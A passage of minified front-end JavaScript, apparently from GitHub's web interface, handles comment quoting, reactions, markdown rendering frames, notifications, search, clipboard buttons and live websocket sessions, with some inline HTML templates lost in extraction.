t&&e.classList.contains("emoji")?t:e},DIV(e){if(e.classList.contains("js-suggested-changes-blob"))e.remove();else if(e.classList.contains("blob-wrapper-embedded")){const t=e.parentElement,n=t.querySelector("a[href]"),o=document.createElement("p");o.textContent=n.href,t.replaceWith(o)}return e}};function fa(e){const t=document.createNodeIterator(e,NodeFilter.SHOW_ELEMENT,{acceptNode(r){return r.nodeName in Qo&&da(r)?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}}),n=[];let o=t.nextNode();for(;o;)o instanceof HTMLElement&&n.push(o),o=t.nextNode();n.reverse();for(const r of n)r.replaceWith(Qo[r.nodeName](r))}s(fa,"insertMarkdownSyntax"),(0,c.on)("click",".js-comment-quote-reply",function({isTrusted:e,currentTarget:t}){const n=t.closest(".js-comment"),o=n.querySelector(".js-comment-body"),r=n.querySelector(".js-comment-body").cloneNode(!0),i=n.closest(".js-quote-selection-container"),a=o.querySelectorAll("button.js-convert-to-issue-button, span.js-clear");for(const w of a)w.remove();let l=new Zo.p;if(!e&&l.range.collapsed||(i.hasAttribute("data-quote-markdown")&&(l=new Zo.I(i.getAttribute("data-quote-markdown")||"",w=>{const S=l.range.startContainer.parentElement,R=S&&S.closest("pre");if(R instanceof HTMLElement){const I=R.parentElement;if(I&&Jo(I)){const F=document.createElement("div");F.className=I.className,F.appendChild(w),w.appendChild(F)}}fa(w)})),bt&&o.contains(bt.anchorNode)?l.range=bt.range:l.range.collapsed&&l.select(o),l.closest(".js-quote-selection-container")!==i))return;const y=l.range;i.dispatchEvent(new CustomEvent("quote-selection",{bubbles:!0,detail:l})),l.range=y;for(const w of i.querySelectorAll("textarea"))if((0,le.Z)(w)){l.insert(w);break}n.querySelector(".js-comment-body").replaceWith(r)});let vn;document.addEventListener("selectionchange",(0,P.D)(function(){const e=window.getSelection();let t;try{t=e.getRangeAt(0)}catch{vn=null;return}vn={anchorNode:e.anchorNode,range:t}},100)),document.addEventListener("toggle",()=>{bt=vn},{capture:!0});const ma=new ResizeObserver(e=>{for(const t of e)t.contentRect.height>26&&ha(t.target)});(0,u.N7)(".js-reactions-container",function(e){ma.observe(e)});function ha(e){const t=e.offsetWidth*.8,n=e.querySelectorAll(".js-reaction-group-button"),o=e.querySelector(".js-all-reactions-popover");let r=0;for(const i of n)r+=i.clientWidth;if(r+=(o==null?void 0:o.clientWidth)||0,ti?a.setAttribute("hidden","hidden"):a.removeAttribute("hidden"),i-=l}}}s(ha,"hideReactionOverflow"),(0,C.AC)(".js-pick-reaction",async function(e,t){const n=await t.json(),o=e.closest(".js-comment"),r=o.querySelector(".js-reactions-container"),i=o.querySelector(".js-comment-header-reaction-button"),a=(0,q.r)(document,n.json.reactions_container.trim()),l=(0,q.r)(document,n.json.comment_header_reaction_button.trim());r.replaceWith(a),i.replaceWith(l)});function Yo(e){const t=e.target,n=t.getAttribute("data-reaction-label"),r=t.closest(".js-add-reaction-popover").querySelector(".js-reaction-description");r.hasAttribute("data-default-text")||r.setAttribute("data-default-text",r.textContent||""),r.textContent=n}s(Yo,"showReactionContent");function er(e){const n=e.target.closest(".js-add-reaction-popover").querySelector(".js-reaction-description"),o=n.getAttribute("data-default-text");o&&(n.textContent=o)}s(er,"hideReactionContent"),(0,c.on)("toggle",".js-reaction-popover-container",function(e){const t=e.currentTarget.hasAttribute("open");for(const n of e.target.querySelectorAll(".js-reaction-option-item"))t?(n.addEventListener("mouseenter",Yo),n.addEventListener("mouseleave",er)):(n.removeEventListener("mouseenter",Yo),n.removeEventListener("mouseleave",er))},{capture:!0});var wn=f(2061);function pa(e,t,n){e.getAttribute("data-type")==="json"&&n.headers.set("Accept","application/json"),(0,c.f)(e,"deprecatedAjaxSend",{request:n}),t.text().catch(r=>{if(r.response)return r.response;throw r}).then(r=>{r.status<300?(0,c.f)(e,"deprecatedAjaxSuccess"):(0,c.f)(e,"deprecatedAjaxError",{error:r.statusText,status:r.status,text:r.text})},r=>{(0,c.f)(e,"deprecatedAjaxError",{error:r.message,status:0,text:null})}).then(()=>{(0,c.f)(e,"deprecatedAjaxComplete")})}s(pa,"submitWithLegacyEvents"),(0,c.on)("click",["form button:not([type])","form button[type=submit]","form input[type=submit]"].join(", "),function(e){const t=e.currentTarget;t.form&&!e.defaultPrevented&&(0,wn.j)(t)}),(0,C.AC)("form[data-remote]",pa),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e}){const t=(0,wn.u)(e);t&&t.remove()}),(0,C.uT)(e=>{const t=(0,wn.u)(e);t&&t.remove()}),(0,C.rK)(en.Z),(0,u.N7)(".has-removed-contents",function(){let e;return{add(t){e=Array.from(t.childNodes);for(const o of e)t.removeChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")},remove(t){for(const o of e)t.appendChild(o);const n=t.closest("form");n&&(0,c.f)(n,"change")}}});var fe=f(36162),ga=(e=>(e.Auto="auto",e.Light="light",e.Dark="dark",e))(ga||{});function ba(){return window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light"}s(ba,"getUserSystemColorMode");const En=".js-render-plaintext";function ya(e){const t=e.closest(".js-render-needs-enrichment");if(!t)return;t.querySelector(En)&&Ln(t,!1)}s(ya,"markdownEnrichmentSuccess");function va(e,t){Ln(e,!1),tr(e,!0),e.classList.add("render-error");const n=e.querySelector(En);if(!n)return;n.classList.remove("render-plaintext-hidden");const o=n.querySelector("pre");(0,fe.sY)(fe.dy`${t} ${o}`,n)}s(va,"showMarkdownRenderError");function Ln(e,t){const n=e.getElementsByClassName("js-render-enrichment-loader")[0],o=e.getElementsByClassName("render-expand")[0];n&&(n.hidden=!t),o&&(o.hidden=t)}s(Ln,"setCodeBlockLoaderVisibility");function tr(e,t){const n=e.querySelector(En);t?n.classList.remove("render-plaintext-hidden"):n.classList.add("render-plaintext-hidden")}s(tr,"setRawCodeBlockVisibility");class nr{constructor(t){this.el=t,this.enrichmentTarget=t.getElementsByClassName("js-render-enrichment-target")[0],this.iframeUrl=this.getIframeUrl(),this.identifier=this.el.getAttribute("data-identity"),this.iframeContentType=this.el.getAttribute("data-type"),this.iframeOrigin=new URL(this.iframeUrl,window.location.origin).origin,this.iframeContent=this.el.getAttribute("data-content"),Ln(this.el,!0)}enrich(){const t=this.createDialog();(0,fe.sY)(t,this.enrichmentTarget),this.setupModal()}getIframeUrl(){const t=(0,U.c)("GEOJSON_AZURE_MAPS"),n=this.el.getAttribute("data-src"),o=this.el.getAttribute("data-enterprise"),r={...this.colorMode(),azure_maps_enabled:t,enterprise_enable:o},i=Object.entries(r).map(([a,l])=>`${a}=${l}`).join("&");return`${n}?${i}`}colorMode(){var t;let n=(t=document.querySelector("html"))==null?void 0:t.getAttribute("data-color-mode");return(n==="auto"||!n)&&(n=ba()),{color_mode:n}}setupModal(){const t=this.generateIframeCode("-fullscreen"),n=this.el.querySelector(".Box-body");this.el.querySelector(".js-full-screen-render").addEventListener("click",()=>{(0,fe.sY)(t,n)})}createDialog(){const t=this.generateIframeCode();return fe.dy`
    +
    + + +
    + +
    +
    +
    +
    + ${t} +
    `}generateIframeCode(t=""){const n=this.identifier+t,o=`${this.iframeUrl}#${n}`;return fe.dy` +
    + +
    + `}}s(nr,"EnrichableMarkdownRenderer"),(0,u.N7)(".js-render-needs-enrichment",function(e){const t=e;new nr(t).enrich()}),(0,c.on)("preview:toggle:off",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment"),o=n==null?void 0:n.querySelector(".js-render-enrichment-target");!o||(o.innerHTML="")}),(0,c.on)("preview:rendered",".js-previewable-comment-form",function(e){const n=e.currentTarget.querySelector(".js-render-needs-enrichment");n&&tr(n,!1)});const cu=null,yt=["is-render-pending","is-render-ready","is-render-loading","is-render-loaded"],wa=["is-render-ready","is-render-loading","is-render-loaded","is-render-failed","is-render-failed-fatally"],Ue=new WeakMap;function or(e){const t=Ue.get(e);t!=null&&(t.load=t.hello=null,t.helloTimer&&(clearTimeout(t.helloTimer),t.helloTimer=null),t.loadTimer&&(clearTimeout(t.loadTimer),t.loadTimer=null))}s(or,"resetTiming");function Je(e,t=""){var n;e.classList.remove(...yt),e.classList.add("is-render-failed");const o=La(t),r=(n=e.parentElement)==null?void 0:n.closest(".js-render-needs-enrichment");r?va(r,o):Ea(e,o),or(e)}s(Je,"renderFailed");function Ea(e,t){const n=e.querySelector(".render-viewer-error");n&&(n.remove(),e.classList.remove("render-container"),(0,fe.sY)(t,e))}s(Ea,"fileRenderError");function La(e){let t=fe.dy`

    Unable to render code block

    `;if(e!==""){const n=e.split(` +`);t=fe.dy`

    Error rendering embedded code

    +

    ${n.map(o=>fe.dy`${o}
    `)}

    `}return fe.dy`
    ${t}
    `}s(La,"renderError");function rr(e,t=!1){var n;!(0,le.Z)(e)||e.classList.contains("is-render-ready")||e.classList.contains("is-render-failed")||e.classList.contains("is-render-failed-fatally")||t&&!((n=Ue.get(e))==null?void 0:n.hello)||Je(e)}s(rr,"timeoutWatchdog"),(0,u.N7)(".js-render-target",function(e){var t;const n=e;n.classList.remove(...wa),n.style.height="auto",!((t=Ue.get(e))==null?void 0:t.load)&&(or(e),!Ue.get(e)&&(Ue.set(e,{load:Date.now(),hello:null,helloTimer:window.setTimeout(rr,1e4,e,!0),loadTimer:window.setTimeout(rr,45e3,e)}),e.classList.add("is-render-automatic","is-render-requested")))});function vt(e,t){e&&e.postMessage&&e.postMessage(JSON.stringify(t),"*")}s(vt,"postAsJson");function ja(e){let t=e.data;if(!t)return;if(typeof t=="string")try{t=JSON.parse(t)}catch{return}if(t.type!=="render"||typeof t.identity!="string")return;const n=t.identity;if(typeof t.body!="string")return;const o=t.body;let r=null;for(const w of document.querySelectorAll(".js-render-target"))if(w.getAttribute("data-identity")===n){r=w;break}if(!r||e.origin!==r.getAttribute("data-host"))return;const i=t.payload!=null?t.payload:void 0,a=r.querySelector("iframe"),l=a==null?void 0:a.contentWindow;function y(){const w=a==null?void 0:a.getAttribute("data-content");if(!w)return;const S={type:"render:cmd",body:{cmd:"code_rendering_service:data:ready","code_rendering_service:data:ready":{data:JSON.parse(w).data,width:r==null?void 0:r.getBoundingClientRect().width}}};vt(l,S)}switch(s(y,"postData"),o){case"hello":{const w=Ue.get(r)||{untimed:!0};w.hello=Date.now();const S={type:"render:cmd",body:{cmd:"ack",ack:!0}},R={type:"render:cmd",body:{cmd:"branding",branding:!1}};if(!l)return;vt(l,S),vt(l,R)}break;case"error":i?Je(r,i.error):Je(r);break;case"error:fatal":{Je(r),r.classList.add("is-render-failed-fatal");break}case"error:invalid":Je(r),r.classList.add("is-render-failed-invalid");break;case"loading":r.classList.remove(...yt),r.classList.add("is-render-loading");break;case"loaded":r.classList.remove(...yt),r.classList.add("is-render-loaded");break;case"ready":ya(r),r.classList.remove(...yt),r.classList.add("is-render-ready"),i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`,location.hash!==""&&window.dispatchEvent(new HashChangeEvent("hashchange")));break;case"resize":i&&typeof i.height=="number"&&(r.style.height=`${i.height}px`);break;case"code_rendering_service:container:get_size":vt(l,{type:"render:cmd",body:{cmd:"code_rendering_service:container:size","code_rendering_service:container:size":{width:r==null?void 0:r.getBoundingClientRect().width}}});break;case"code_rendering_service:markdown:get_data":if(!l)return;y();break;default:break}}s(ja,"handleMessage"),window.addEventListener("message",ja),(0,C.AC)("form[data-replace-remote-form]",async function(e,t){e.classList.remove("is-error"),e.classList.add("is-loading");try{let n=e;const o=await t.html(),r=e.closest("[data-replace-remote-form-target]");if(r){const i=r.getAttribute("data-replace-remote-form-target");n=i?document.getElementById(i):r}n.replaceWith(o.html)}catch{e.classList.remove("is-loading"),e.classList.add("is-error")}}),PerformanceObserver&&(PerformanceObserver.supportedEntryTypes||[]).includes("longtask")&&new PerformanceObserver(function(t){const n=t.getEntries().map(({name:o,duration:r})=>({name:o,duration:r,url:window.location.href}));(0,he.b)({longTasks:n})}).observe({entryTypes:["longtask"]});const sr=new WeakMap;function Sa(e){return e.closest("markdown-toolbar").field}s(Sa,"getTextarea"),(0,c.on)("click",".js-markdown-link-button",async function({currentTarget:e}){const n=document.querySelector(".js-markdown-link-dialog").content.cloneNode(!0);if(!(n instanceof DocumentFragment))return;const o=await(0,Te.W)({content:n,labelledBy:"box-title"});e instanceof HTMLElement&&sr.set(o,Sa(e).selectionEnd)}),(0,c.on)("click",".js-markdown-link-insert",({currentTarget:e})=>{const t=e.closest("details-dialog"),n=document.querySelector(`#${e.getAttribute("data-for-textarea")}`),o=sr.get(t)||0,r=t.querySelector("#js-dialog-link-href").value,a=`[${t.querySelector("#js-dialog-link-text").value}](${r}) `,l=n.value.slice(0,o),y=n.value.slice(o);n.value=l+a+y,n.focus(),n.selectionStart=n.selectionEnd=o+a.length});var lu=f(17300);(0,c.on)("details-menu-select",".js-saved-reply-menu",function(e){if(!(e.target instanceof Element))return;const t=e.detail.relatedTarget.querySelector(".js-saved-reply-body");if(!t)return;const n=(t.textContent||"").trim(),r=e.target.closest(".js-previewable-comment-form").querySelector("textarea.js-comment-field");(0,Ee.Om)(r,n),setTimeout(()=>r.focus(),0)},{capture:!0}),(0,j.w4)("keydown",".js-saved-reply-shortcut-comment-field",function(e){(0,$e.EL)(e)==="Control+."&&(e.target.closest(".js-previewable-comment-form").querySelector(".js-saved-reply-container").setAttribute("open",""),e.preventDefault())}),(0,j.w4)("keydown",".js-saved-reply-filter-input",function(e){if(/^Control\+[1-9]$/.test((0,$e.EL)(e))){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]'),o=Number(e.key),r=n[o-1];r instanceof HTMLElement&&(r.click(),e.preventDefault())}else if(e.key==="Enter"){const n=e.target.closest(".js-saved-reply-container").querySelectorAll('[role="menuitem"]');n.length>0&&n[0]instanceof HTMLButtonElement&&n[0].click(),e.preventDefault()}});var Ta=f(29790),Aa=f(19218);function Ca(e,t){return e.querySelector(`#LC${t}`)}s(Ca,"queryLineElement");function wt(e,t,n,o){const r=(0,Ta.M9)(e,l=>Ca(t,l));if(!r)return;if(n){const l=(0,Ee.yb)(r.startContainer.textContent,r.startOffset);if(l===-1)return;r.setStart(r.startContainer,l)}if(o){const l=(0,Ee.yb)(r.endContainer.textContent,r.endOffset);if(l===-1)return;r.setEnd(r.endContainer,l)}const i=document.createElement("span"),a=["text-bold","hx_keyword-hl","rounded-2","d-inline-block"];i.classList.add(...a),(0,Aa.v)(r,i)}s(wt,"highlightRange");function ka(e,t){if(e.start.line!==e.end.line){const n={start:{line:e.start.line,column:e.start.column},end:{line:e.start.line,column:null}};wt(n,t,!0,!1);for(let r=e.start.line+1;r=0;o?n.setAttribute("aria-current","page"):n.removeAttribute("aria-current"),n.classList.toggle("selected",o)}}s(jn,"updateSelectedRepoTab"),document.addEventListener("pjax:end",jn),document.addEventListener(Se.QE.FRAME_UPDATE,jn),document.addEventListener(Se.QE.SUCCESS,jn);var ir=f(11190),Ra=f(27034),_a=f(32904);async function Pa(){return(0,C.AC)(".js-notification-shelf .js-notification-action form",async function(e,t){if(e.hasAttribute("data-redirect-to-inbox-on-submit")){await ar(t);const o=document.querySelector(".js-notifications-back-to-inbox");o&&o.click();return}(0,_a.a)(e,e),await ar(t)})}s(Pa,"remoteShelfActionForm");function Ia(){const e=new URLSearchParams(window.location.search),t=(0,ir.n)(e);if(t){const n=new URL(window.location.href,window.location.origin);return n.search=t.toString(),n.toString()}}s(Ia,"urlWithoutNotificationParameters");function Da(e){if(!(e instanceof Ra.Z))return;const t=(0,ir.I)();if(!t)return;const n=e.getAttribute("data-base-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search);for(const[i,a]of Object.entries(t))typeof a=="string"&&r.set(i,a);o.search=r.toString(),e.setAttribute("src",o.toString())}s(Da,"loadShelfFromStoredParams");async function ar(e){try{await e.text()}catch{}}s(ar,"performRequest"),Pa();function cr(){const e=Ia();e&&(0,E.lO)(null,"",e)}s(cr,"removeNotificationParams"),cr(),document.addEventListener(Se.QE.SUCCESS,cr),(0,u.N7)(".js-notification-shelf-include-fragment",Da),(0,c.on)("submit",".js-mark-notification-form",async function(e){const t=e.currentTarget;e.preventDefault();try{await fetch(t.action,{method:t.method,body:new FormData(t),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}});async function lr(){await me.C;const e=document.querySelector(".js-mark-notification-form");e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(lr,"markNotificationAsRead"),document.addEventListener(Se.QE.SUCCESS,lr),lr();function Ha(e){return!!e.closest(".js-jump-to-field")}s(Ha,"isJumpToAvailable");function Sn(e,t){if(Ha(e))return;const n=document.querySelector(".js-site-search-form");document.querySelector(".js-site-search").classList.toggle("scoped-search",t);let o,r;t?(o=n.getAttribute("data-scoped-search-url"),r=e.getAttribute("data-scoped-placeholder")):(o=n.getAttribute("data-unscoped-search-url"),r=e.getAttribute("data-unscoped-placeholder")),n.setAttribute("action",o),e.setAttribute("placeholder",r)}s(Sn,"toggleSearchScope"),(0,j.w4)("keyup",".js-site-search-field",function(e){const t=e.target,n=t.value.length===0;n&&e.key==="Backspace"&&t.classList.contains("is-clearable")&&Sn(t,!1),n&&e.key==="Escape"&&Sn(t,!0),t.classList.toggle("is-clearable",n)}),(0,j.ZG)(".js-site-search-focus",function(e){const t=e.closest(".js-chromeless-input-container");t.classList.add("focus");function n(){t.classList.remove("focus"),e.value.length===0&&e.classList.contains("js-site-search-field")&&Sn(e,!0),e.removeEventListener("blur",n)}s(n,"blurHandler"),e.addEventListener("blur",n)}),(0,c.on)("submit",".js-site-search-form",function(e){if(!(e.target instanceof Element))return;const t=e.target.querySelector(".js-site-search-type-field");t.value=new URLSearchParams(window.location.search).get("type")||""});var Oa=f(54430);(0,u.N7)("textarea.js-size-to-fit",{constructor:HTMLTextAreaElement,subscribe:Oa.Z});var Tn=f(61161);(0,c.on)("click",".js-smoothscroll-anchor",function(e){const t=e.currentTarget;if(!(t instanceof HTMLAnchorElement))return;const n=(0,Tn.Kt)(document,t.hash);!n||(n.focus(),n.scrollIntoView({behavior:"smooth"}),e.preventDefault())});const Na=1e3,ur=new WeakMap,dr=document.querySelector("#snippet-clipboard-copy-button");async function Ba(e,t){const n=e.getAttribute("data-snippet-clipboard-copy-content");if(n===null||(e.removeAttribute("data-snippet-clipboard-copy-content"),!(dr instanceof HTMLTemplateElement)))return;const r=dr.content.cloneNode(!0).children[0];if(!(r instanceof HTMLElement))return;const i=r.children[0];if(!(i instanceof HTMLElement))return;i.setAttribute("value",n),document.addEventListener("selectionchange",()=>{const l=document.getSelection();if(l&&e.contains(l.anchorNode)){const y=l==null?void 0:l.toString();i.style.display=y.trim()===""?"inherit":"none"}},{signal:t});const a=e.querySelector("pre");if(a!==null){let l;a.addEventListener("scroll",()=>{l&&clearTimeout(l),i.style.display="none",l=setTimeout(()=>{i.style.display="inherit"},Na)},{signal:t})}e.appendChild(r)}s(Ba,"insertSnippetClipboardCopyButton"),(0,u.N7)("[data-snippet-clipboard-copy-content]",{constructor:HTMLElement,add(e){if(e.parentElement&&e.parentElement.classList.contains("js-no-snippet-clipboard-copy"))return;const t=new AbortController;ur.set(e,t),Ba(e,t.signal)}}),(0,u.N7)(".snippet-clipboard-content clipboard-copy",{constructor:HTMLElement,remove(e){const t=ur.get(e);t&&t.abort()}});function fr(e,t,n){mr(e,t),n&&e.classList.toggle("on");const o=Array.from(e.querySelectorAll(".js-social-updatable"),Me.x0);return Promise.all(o)}s(fr,"handleSocialResponse"),(0,C.AC)(".js-social-form",async function(e,t){var n,o;let r;const i=e.closest(".js-social-container"),a=e.classList.contains("js-deferred-toggler-target");try{r=await t.json(),i&&await fr(i,r.json.count,a)}catch(l){if(((n=l.response)==null?void 0:n.status)===409&&l.response.json.confirmationDialog){const y=l.response.json.confirmationDialog,w=document.querySelector(y.templateSelector),S=(o=e.querySelector(".js-confirm-csrf-token"))==null?void 0:o.value;if(w instanceof HTMLTemplateElement&&S){const R=new lt.R(w,{confirmUrl:e.action,confirmCsrfToken:S,...y.inputs||{}}),I=await(0,Te.W)({content:R});I.addEventListener("social-confirmation-form:success",async F=>{F instanceof CustomEvent&&i&&await fr(i,F.detail.count,a)}),I.addEventListener("social-confirmation-form:error",()=>{(0,T.v)()})}}else i&&!a&&i.classList.toggle("on"),(0,T.v)()}}),(0,C.AC)(".js-social-confirmation-form",async function(e,t){try{const n=await t.json();(0,c.f)(e,"social-confirmation-form:success",n.json)}catch{(0,c.f)(e,"social-confirmation-form:error")}});function mr(e,t){for(const n of e.querySelectorAll(".js-social-count")){n.textContent=t;const o=n.getAttribute("data-singular-suffix"),r=n.getAttribute("data-plural-suffix"),i=t==="1"?o:r;i&&n.setAttribute("aria-label",`${t} ${i}`)}}s(mr,"updateSocialCounts");var _e=f(21461);class hr extends _e.a2{constructor(t,n,o,r){super(t,()=>this.getUrlFromRefreshUrl(),o,r);this.refreshUrl=n}getUrlFromRefreshUrl(){return $a(this.refreshUrl)}}s(hr,"AliveSession");async function $a(e){const t=await Fa(e);return t&&t.url&&t.token?Ua(t.url,t.token):null}s($a,"fetchRefreshUrl");async function Fa(e){const t=await fetch(e,{headers:{Accept:"application/json"}});if(t.ok)return t.json();if(t.status===404)return null;throw new Error("fetch error")}s(Fa,"fetchJSON");async function Ua(e,t){const n=await fetch(e,{method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}});if(n.ok)return n.text();throw new Error("fetch error")}s(Ua,"post");const Et=[],Wa=3e4,za=0;let Lt=document.hidden,jt;function Ka(e){return e(Lt),Et.push(e),new M.w0(()=>{const t=Et.indexOf(e);t!==-1&&Et.splice(t,1)})}s(Ka,"addIdleStateListener"),document.addEventListener("visibilitychange",()=>{const e=document.hidden;jt!==void 0&&clearTimeout(jt),jt=setTimeout(()=>{if(e!==Lt){Lt=e,jt=void 0;for(const n of Et)n(Lt)}},e?Wa:za)});function Va(){return"SharedWorker"in window&&(0,$o.Z)("localStorage").getItem("bypassSharedWorker")!=="true"}s(Va,"isSharedWorkerSupported");function Xa(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket-src]"))==null?void 0:e.href)!=null?t:null}s(Xa,"workerSrc");function Ga(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.href)!=null?t:null}s(Ga,"socketUrl");function Za(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-refresh-url"))!=null?t:null}s(Za,"socketRefreshUrl");function Ja(){var e,t;return(t=(e=document.head.querySelector("link[rel=shared-web-socket]"))==null?void 0:e.getAttribute("data-session-id"))!=null?t:null}s(Ja,"sessionIdentifier");function Qa(e){return pr(e).map(t=>({subscriber:e,topic:t}))}s(Qa,"subscriptions");function pr(e){return(e.getAttribute("data-channel")||"").trim().split(/\s+/).map(_e.Zf.parse).filter(Ya)}s(pr,"channels");function Ya(e){return e!=null}s(Ya,"isPresent");function gr(e,{channel:t,type:n,data:o}){for(const r of e)r.dispatchEvent(new CustomEvent(`socket:${n}`,{bubbles:!1,cancelable:!1,detail:{name:t,data:o}}))}s(gr,"notify");class br{constructor(t,n,o,r,i){this.subscriptions=new _e.vk,this.presenceMetadata=new _e.ah,this.notifyPresenceDebouncedByChannel=new Map,this.notify=i,this.worker=new SharedWorker(t,`github-socket-worker-v2-${r}`),this.worker.port.onmessage=({data:a})=>this.receive(a),this.worker.port.postMessage({connect:{url:n,refreshUrl:o}})}subscribe(t){const n=this.subscriptions.add(...t);n.length&&this.worker.port.postMessage({subscribe:n});const o=new Set(n.map(i=>i.name)),r=t.reduce((i,a)=>{const l=a.topic.name;return(0,_e.A)(l)&&!o.has(l)&&i.add(l),i},new Set);r.size&&this.worker.port.postMessage({requestPresence:Array.from(r)})}unsubscribeAll(...t){const n=this.subscriptions.drain(...t);n.length&&this.worker.port.postMessage({unsubscribe:n});const o=this.presenceMetadata.removeSubscribers(t);this.sendPresenceMetadataUpdate(o)}updatePresenceMetadata(t){const n=new Set;for(const o of t)this.presenceMetadata.setMetadata(o),n.add(o.channelName);this.sendPresenceMetadataUpdate(n)}sendPresenceMetadataUpdate(t){if(!t.size)return;const n=[];for(const o of t)n.push({channelName:o,metadata:this.presenceMetadata.getChannelMetadata(o)});this.worker.port.postMessage({updatePresenceMetadata:n})}online(){this.worker.port.postMessage({online:!0})}offline(){this.worker.port.postMessage({online:!1})}hangup(){this.worker.port.postMessage({hangup:!0})}receive(t){const{channel:n}=t;if(t.type==="presence"){let o=this.notifyPresenceDebouncedByChannel.get(n);o||(o=(0,P.D)((r,i)=>{this.notify(r,i),this.notifyPresenceDebouncedByChannel.delete(n)},100),this.notifyPresenceDebouncedByChannel.set(n,o)),o(this.subscriptions.subscribers(n),t);return}this.notify(this.subscriptions.subscribers(n),t)}}s(br,"AliveSessionProxy");function ec(){const e=Xa();if(!e)return;const t=Ga();if(!t)return;const n=Za();if(!n)return;const o=Ja();if(!o)return;const i=s(()=>{if(Va())try{return new br(e,t,n,o,gr)}catch{}return new hr(t,n,!1,gr)},"createSession")(),a=(0,k.g)(w=>i.subscribe(w.flat())),l=(0,k.g)(w=>i.unsubscribeAll(...w)),y=(0,k.g)(w=>i.updatePresenceMetadata(w));(0,u.N7)(".js-socket-channel[data-channel]",{subscribe:w=>{const S=Qa(w),R=S.map(F=>F.topic.name).filter(F=>(0,_e.A)(F));let I={unsubscribe(){}};if(R.length){let F,X;const oe=s(()=>{const Q=[];F&&Q.push(F),X!==void 0&&Q.push({[_e.ZE]:X?1:0});for(const se of R)y({subscriber:w,channelName:se,metadata:Q})},"queueMetadataOrIdleChange");I=(0,M.qC)((0,M.RB)(w,"socket:set-presence-metadata",Q=>{const{detail:se}=Q;F=se,oe()}),Ka(Q=>{!(0,U.c)("PRESENCE_IDLE")||(X=Q,oe())}))}return a(S),I},remove:w=>l(w)}),window.addEventListener("online",()=>i.online()),window.addEventListener("offline",()=>i.offline()),window.addEventListener("pagehide",()=>{"hangup"in i&&i.hangup()})}s(ec,"connect"),(async()=>(await me.x,ec()))();const yr=new Map;function tc(e,t){const n=[];for(const o of e){const r=yr.get(o.name);r&&r.arrived>t&&n.push(r)}return n}s(tc,"stale");function nc(e,t){for(const n of e.querySelectorAll(".js-socket-channel[data-channel]"))for(const o of tc(pr(n),t))n.dispatchEvent(new CustomEvent("socket:message",{bubbles:!1,cancelable:!1,detail:{name:o.name,data:o.data,cached:!0}}))}s(nc,"dispatch");function oc(e){const{name:t,data:n,cached:o}=e.detail;if(o)return;const r={name:t,data:{...n},arrived:Date.now()};r.data.wait=0,yr.set(t,r)}s(oc,"store"),document.addEventListener("socket:message",oc,{capture:!0}),document.addEventListener("pjax:popstate",function(e){const t=e.target,n=e.detail.cachedAt;n&&setTimeout(()=>nc(t,n))}),(0,u.N7)("form.js-auto-replay-enforced-sso-request",{constructor:HTMLFormElement,initialize(e){(0,L.Bt)(e)}});var uu=f(41928);function vr(e,t,n){const o=e.getBoundingClientRect().height,r=t.getBoundingClientRect(),i=n.getBoundingClientRect();let a=i.top;a+r.height+10>=o&&(a=Math.max(o-r.height-10,0));let l=i.right;n.closest(".js-build-status-to-the-left")!=null&&(l=Math.max(i.left-r.width-10,0)),t.style.top=`${a}px`,t.style.left=`${l}px`,t.style.right="auto"}s(vr,"updateStatusPosition"),(0,c.on)("toggle",".js-build-status .js-dropdown-details",function(e){const t=e.currentTarget,n=t.querySelector(".js-status-dropdown-menu");if(!n)return;function o(){t.hasAttribute("open")||i()}s(o,"closeOnToggle");function r(a){n.contains(a.target)||i()}s(r,"closeOnScroll");function i(){t.removeAttribute("open"),n.classList.add("d-none"),t.appendChild(n),t.removeEventListener("toggle",o),window.removeEventListener("scroll",r)}s(i,"closeStatusPopover"),t.addEventListener("toggle",o),n.classList.contains("js-close-menu-on-scroll")&&window.addEventListener("scroll",r,{capture:!0}),n.classList.remove("d-none"),n.querySelector(".js-details-container").classList.add("open"),n.classList.contains("js-append-menu-to-body")&&(document.body.appendChild(n),vr(document.body,n,t))},{capture:!0});async function wr(e){const t=e.querySelector(".js-dropdown-details"),n=e.querySelector(".js-status-dropdown-menu")||e.closest(".js-status-dropdown-menu");if(!(n instanceof HTMLElement))return;const o=n.querySelector(".js-status-loader");if(!o)return;const r=n.querySelector(".js-status-loading"),i=n.querySelector(".js-status-error"),a=o.getAttribute("data-contents-url");r.classList.remove("d-none"),i.classList.add("d-none");let l;try{await(0,en.Z)(),l=await(0,pe.a)(document,a)}catch{r.classList.add("d-none"),i.classList.remove("d-none")}l&&(o.replaceWith(l),n.querySelector(".js-details-container").classList.add("open"),t&&n.classList.contains("js-append-menu-to-body")&&vr(document.body,n,t))}s(wr,"loadStatus"),(0,c.on)("click",".js-status-retry",({currentTarget:e})=>{wr(e)});function Er(e){const t=e.currentTarget;wr(t)}s(Er,"onMouseEnter"),(0,u.N7)(".js-build-status",{add(e){e.addEventListener("mouseenter",Er,{once:!0})},remove(e){e.removeEventListener("mouseenter",Er)}});var du=f(55898),rc=f(82841);(0,c.on)("click","button[data-sudo-required], summary[data-sudo-required]",Lr),(0,u.N7)("form[data-sudo-required]",{constructor:HTMLFormElement,subscribe:e=>(0,M.RB)(e,"submit",Lr)});async function Lr(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;e.stopPropagation(),e.preventDefault(),await(0,rc.Z)()&&(t.removeAttribute("data-sudo-required"),t instanceof HTMLFormElement?(0,L.Bt)(t):t.click())}s(Lr,"checkSudo");const 